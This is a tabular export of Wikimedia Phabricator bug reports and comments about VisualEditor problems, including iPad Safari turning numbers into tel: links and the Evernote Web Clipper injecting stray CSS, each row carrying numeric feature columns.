235967,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"Bug 51959 was also iPad/Safari and I've not seen any reports of it being reproducible on any other system so I've adjusted the bug summary accordingly.

This might be a bug in Safari rather than VE, but even if it is it would be useful for VE (or Parsoid?) to detect the changes and neutralise them. It is unlikely that Wikipedia would need href=tel: links but I can see they might be useful in environments like the contact pages on the Foundation wiki, so stripping such links completely mightn't be the optimal solution?",,,1377441370,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,False,,,7,,1.0,0.0,1.0,0.0,1.5,5.0,4.0,0.0,0.0,0.5,1.5,2.0,0.0,0.0,0.0,2.0,0.0,5.0,8.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.0,1.5,0.0,2.5,1.5,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,11.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,4.5,5.0,8.5,2.0,3.5,6.0,0.0,0.0,0.0,0.0,6.5,0.0,0.5,0.0,6.0,8.0,5.0,2.0,0.0,0.0,6.0,0.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,3.9272727272727277,0.8545454545454545,"Bug 51959 was also iPad/Safari and I've not seen any reports of it being reproducible on any other system so I've adjusted the bug summary accordingly.

This might be a bug in Safari rather than VE, but even if it is it would be useful for VE (or Parsoid?) to detect the changes and neutralise them. It is unlikely that Wikipedia would need href=tel: links but I can see they might be useful in environments like the contact pages on the Foundation wiki, so stripping such links completely mightn't be the optimal solution?"
235959,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"For the first one, iPad with Safari.
No answer for the seconde one.",,,1377440082,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,18.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,18.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2941176470588234,0.8235294117647058,"For the first one, iPad with Safari.
No answer for the seconde one."
235952,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"May it be caused by a Skype plugin for the browser, that usually make those telephone-looking numbers into a clickable link to make a call through Skype?

http://stackoverflow.com/questions/3032427/how-to-prevent-phone-numbers-to-be-converted-into-skype-links",,,1377431900,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,21.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,12.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,15.0,6.0,3.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,4.0,0.8787878787878788,"May it be caused by a Skype plugin for the browser, that usually make those telephone-looking numbers into a clickable link to make a call through Skype?

URL"
235946,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"I can't reproduce it on either page using Firefox 23 / Linux.

Do you know what OS/browser those editors were using?",,,1377431452,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,19.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,11.0,4.0,7.0,4.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,3.5925925925925926,0.9259259259259259,"I can't reproduce it on either page using Firefox 23 / Linux.

Do you know what OS/browser those editors were using?"
55252,VisualEditor: Evernote Web Clipper inserts _clearly_component__css,"EverNote Web Clipper has a problem with the editable area and inserts:

<style id=""_clearly_component__css"" type=""text/css"">#next_pages_container { width: 5px; hight: 5px; position: absolute; top: -100px; left: -100px; z-index: 2147483647 !important; } </style><div id=""_clearly_component__next_pages_container""></div>

Triggering: https://en.wikipedia.org/wiki/Special:AbuseFilter/345

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1377255600,1412114353.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-pxgyjw5isiqywctk5c7e,task_description,resolved,True,c1,3,True,False,False,7,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,5.0,4.87012987012987,0.6493506493506493,"EverNote Web Clipper has a problem with the editable area and inserts:

<style id=""_clearly_component__css"" type=""text/css"">#next_pages_container { width: 5px; hight: 5px; position: absolute; top: -100px; left: -100px; z-index: 2147483647 !important; } </style><div id=""_clearly_component__next_pages_container""></div>

Triggering: URL

--------------------------
**Version**: unspecified
**Severity**: minor"
257111,VisualEditor: Evernote Web Clipper inserts _clearly_component__css,"Change 163961 merged by jenkins-bot:
Remove certain blacklisted elements when getting HTML from document

https://gerrit.wikimedia.org/r/163961",,,1412114013,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pxgyjw5isiqywctk5c7e,task_subcomment,,True,c1,3,False,,,65,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,20.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.2,1.0,"Change 163961 merged by jenkins-bot:
Remove certain blacklisted elements when getting HTML from document

GERRIT_URL"
257108,VisualEditor: Evernote Web Clipper inserts _clearly_component__css,"Change 163961 had a related patch set uploaded by Alex Monk:
Remove certain blacklisted elements when getting HTML from document

https://gerrit.wikimedia.org/r/163961",,,1412113100,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pxgyjw5isiqywctk5c7e,task_subcomment,,True,c1,3,False,,,65,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,25.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,5.083333333333333,1.0,"Change 163961 had a related patch set uploaded by Alex Monk:
Remove certain blacklisted elements when getting HTML from document

GERRIT_URL"
257105,VisualEditor: Evernote Web Clipper inserts _clearly_component__css,"Derk-Jan, did you hear back from Evernote?",,,1406844430,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-pxgyjw5isiqywctk5c7e,task_subcomment,,True,c1,3,True,,,56,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,27.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.272727272727273,1.0,"Derk-Jan, did you hear back from Evernote?"
257101,VisualEditor: Evernote Web Clipper inserts _clearly_component__css,Evernote support ticket #253866,,,1385645050,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-pxgyjw5isiqywctk5c7e,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.6,1.0,Evernote support ticket #253866
257097,VisualEditor: Evernote Web Clipper inserts _clearly_component__css,"I submitted a report with Evernote trough their API developers platform.

http://dev.evernote.com/support/faq.php#filebug

Not totally the right forum, but I suspect that was the easiest way to get developer level support.",,,1377256101,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-pxgyjw5isiqywctk5c7e,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,3.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,17.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,9.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,4.314285714285714,0.8857142857142857,"I submitted a report with Evernote trough their API developers platform.

URL

Not totally the right forum, but I suspect that was the easiest way to get developer level support."
55250,VisualEditor: Hieroglyphics tool inserts a new line at the cursor whether or not you actually insert a hieroglyphics block,"Screeshot of post hiero editor

Safari 6

I opened the editor inline, didn't do anything, pressed the back arrow, the editor closed and inserted a newline.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11956}",Low,25.0,1377250800,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-ur6ykzlvrepzlje7qdsa,task_description,open,True,c1,3,True,False,,7,,0.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,11.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.721311475409836,0.6229508196721312,"Screeshot of post hiero editor

Safari 6

I opened the editor inline, didn't do anything, pressed the back arrow, the editor closed and inserted a newline.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11956}"
55235,Support Clipboard Based Image Upload,"**Author:** `lucashokanson`

**Description:**
It would be extraordinarily useful to mimic Imgur.com's clipboard based uploader.  Upon visiting the upload page, you would simply Paste - command/control v or click a button to use your clipboard's contents.  This would then upload the file and return to you the standard file:____ page.  

In addition to this, if this functionality is built it, it would even more useful to streamline this into the page editor as well. A simple button click could pop up a prompt and upon upload return the proper image reference in your article.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=37932
https://bugzilla.wikimedia.org/show_bug.cgi?id=65670",Low,25.0,1377203100,1425600740.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-jbmwpl35zyrkzdw4hfwx,task_description,duplicate,True,c1,3,False,False,False,7,,0.0,0.0,0.0,0.5,0.0,3.5,0.5,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.5,2.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,14.5,1.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,1.0,9.0,2.0,1.5,7.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,4.0,7.0,3.5,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.5,0.5,0.0,0.0,3.764695830485304,0.6796821599453178,"**Author:** CODE

**Description:**
It would be extraordinarily useful to mimic Imgur.com's clipboard based uploader.  Upon visiting the upload page, you would simply Paste - command/control v or click a button to use your clipboard's contents.  This would then upload the file and return to you the standard file:____ page.  

In addition to this, if this functionality is built it, it would even more useful to streamline this into the page editor as well. A simple button click could pop up a prompt and upon upload return the proper image reference in your article.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL"
255930,Support Clipboard Based Image Upload,I'm going to move this to upload wizard I suppose.,,,1377203439,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-jbmwpl35zyrkzdw4hfwx,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.4166666666666665,0.8333333333333334,I'm going to move this to upload wizard I suppose.
255923,Support Clipboard Based Image Upload,"There's an ambition to add this to VisualEditor in time - see bug 37932, which I've added as a see also - but not sure on plans for doing this for the regular wikitext editor.",,,1377203318,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jbmwpl35zyrkzdw4hfwx,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,3.0,3.0,0.0,5.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,18.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,3.6153846153846154,0.8717948717948718,"There's an ambition to add this to VisualEditor in time - see bug 37932, which I've added as a see also - but not sure on plans for doing this for the regular wikitext editor."
55231,VisualEditor: Suggestion lists (of templates/links/categories/etc.) differ over time with the same input (e.g. between browsers/users),"In Chrome, edit any page in https://test2.wikipedia.org

Click Transclusion, type 's' into input box.
Result is a list of suggestions that begin with ""Smaller"" and ""Sectstub""

In Firefox, edit any page in https://test2.wikipedia.org

Click Transclusion, type 's' into input box.
Result is a list of suggestions that begin with ""Succession box"" and ""South America""

This suggests that at least one list of Template suggestions is absolutely incorrect.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=58406",Low,25.0,1377199800,1429301547.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-gi6xthiyrxw7c2mnmgvl,task_description,declined,True,c1,3,False,False,False,7,,1.0,0.0,1.0,0.0,0.0,3.5,2.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,0.0,1.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,1.5,1.0,11.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,2.0,15.5,1.0,1.5,3.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,8.0,5.5,0.0,6.5,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.5,1.0,0.0,3.6440677966101696,0.576271186440678,"In Chrome, edit any page in URL

Click Transclusion, type 's' into input box.
Result is a list of suggestions that begin with ""Smaller"" and ""Sectstub""

In Firefox, edit any page in URL

Click Transclusion, type 's' into input box.
Result is a list of suggestions that begin with ""Succession box"" and ""South America""

This suggests that at least one list of Template suggestions is absolutely incorrect.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
255728,VisualEditor: Suggestion lists (of templates/links/categories/etc.) differ over time with the same input (e.g. between browsers/users),*** Bug 70219 has been marked as a duplicate of this bug. ***,,,1416339245,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gi6xthiyrxw7c2mnmgvl,task_subcomment,,True,c1,3,True,,,72,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 70219 has been marked as a duplicate of this bug. ***
255726,VisualEditor: Suggestion lists (of templates/links/categories/etc.) differ over time with the same input (e.g. between browsers/users),"This is caused by the search back end that supplies the suggestions; I don't think it alters by user/browser so much as over time (though it's cached after the first request for a bit). Not sure if this is a ""bug"" per se…",,,1387245600,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gi6xthiyrxw7c2mnmgvl,task_subcomment,,True,c1,3,True,,,24,,2.0,0.0,0.0,2.0,4.0,4.0,2.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,9.0,4.0,6.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,4.0,0.0,6.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,3.314814814814815,0.8703703703703703,"This is caused by the search back end that supplies the suggestions; I don't think it alters by user/browser so much as over time (though it's cached after the first request for a bit). Not sure if this is a ""bug"" per se…"
55226,VisualEditor: CSS munging causing absolutely-positioned <div>s used to create pie charts(!) to break,"https://he.wikipedia.org/wiki/%D7%A8%D7%90%D7%A9%D7%95%D7%9F_%D7%9C%D7%A6%D7%99%D7%95%D7%9F?veaction=edit

The template on the left has a pie chart (see in view mode in the extendable green section) -- but in edit mode it's all jumbled.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
{T53932}
{T53166}",Low,25.0,1377192840,1429615773.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-s55lzef3gmpfhhdexj66,task_description,resolved,True,c1,3,False,False,False,7,,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,6.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.196969696969697,0.6363636363636364,"URL

The template on the left has a pie chart (see in view mode in the extendable green section) -- but in edit mode it's all jumbled.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
{T53932}
{T53166}"
446999,VisualEditor: CSS munging causing absolutely-positioned <div>s used to create pie charts(!) to break,"The issue as filed was resolved long time ago (see parent bug T52577), I filed T96667 to track the issue of oversized highlights.",,,1429615765,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-s55lzef3gmpfhhdexj66,task_subcomment,,True,c1,3,True,,,94,,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,11.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.962962962962963,0.9259259259259259,"The issue as filed was resolved long time ago (see parent bug T52577), I filed T96667 to track the issue of oversized highlights."
446010,VisualEditor: CSS munging causing absolutely-positioned <div>s used to create pie charts(!) to break,"There are no screenshots here to show how it used to be broken, but it seems almost correct now. Only the highlight is displayed incorrectly.

(The infobox also looks a bit borked, which is a Parsoid issue I filed as T96529.)

{F117709}",,,1429478036,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-s55lzef3gmpfhhdexj66,task_subcomment,,True,c1,3,True,,,93,,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,2.0,0.0,13.0,6.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,8.0,13.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.7169811320754715,0.8490566037735849,"There are no screenshots here to show how it used to be broken, but it seems almost correct now. Only the highlight is displayed incorrectly.

(The infobox also looks a bit borked, which is a Parsoid issue I filed as T96529.)

{F117709}"
55090,"VisualEditor: Hieroglyphics tool operating on a selection replaces the content, rather than appending the hieroglyphics block","Testing the hieroglyphics feature on MW.org just now:

1. Open VE and select some text
2. Click ""Hieroglyphics"" button

Why can I ""apply"" hieroglyphics to a run of text, as if it was a kind of formatting? Doesn't make any sense.

3. Type some hiero codes (e.g. G26-t:Z4-A40) in the box
4. Leave the popup (by clicking away/clicking the < button)

The popup goes blank and can't be dismissed (Firefox 23).
Also notice that no hieroglyphics are seen.

5. Review changes.

The hiero tag successfully appears in the wikitext, even though it is invisible in VE.

Sorry for three issues in one bug, but I guess you guys can figure this out.

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1376996400,1386337120.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-cq2sis2akuochldidpvr,task_description,declined,True,c1,3,False,False,False,7,,1.5,0.0,0.0,1.0,1.0,2.0,1.0,0.0,0.5,0.5,3.0,1.0,0.0,0.0,0.0,1.0,0.5,5.5,8.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,3.5,2.0,1.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.5,15.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,4.5,2.0,12.5,2.0,1.5,7.5,0.0,0.0,0.0,0.0,4.5,0.5,2.5,0.0,2.5,8.0,3.5,0.5,2.0,0.0,2.5,0.0,0.5,1.0,0.0,1.5,0.0,0.0,2.0,3.4318181818181817,0.7386363636363636,"Testing the hieroglyphics feature on MW.org just now:

1. Open VE and select some text
2. Click ""Hieroglyphics"" button

Why can I ""apply"" hieroglyphics to a run of text, as if it was a kind of formatting? Doesn't make any sense.

3. Type some hiero codes (e.g. G26-t:Z4-A40) in the box
4. Leave the popup (by clicking away/clicking the < button)

The popup goes blank and can't be dismissed (Firefox 23).
Also notice that no hieroglyphics are seen.

5. Review changes.

The hiero tag successfully appears in the wikitext, even though it is invisible in VE.

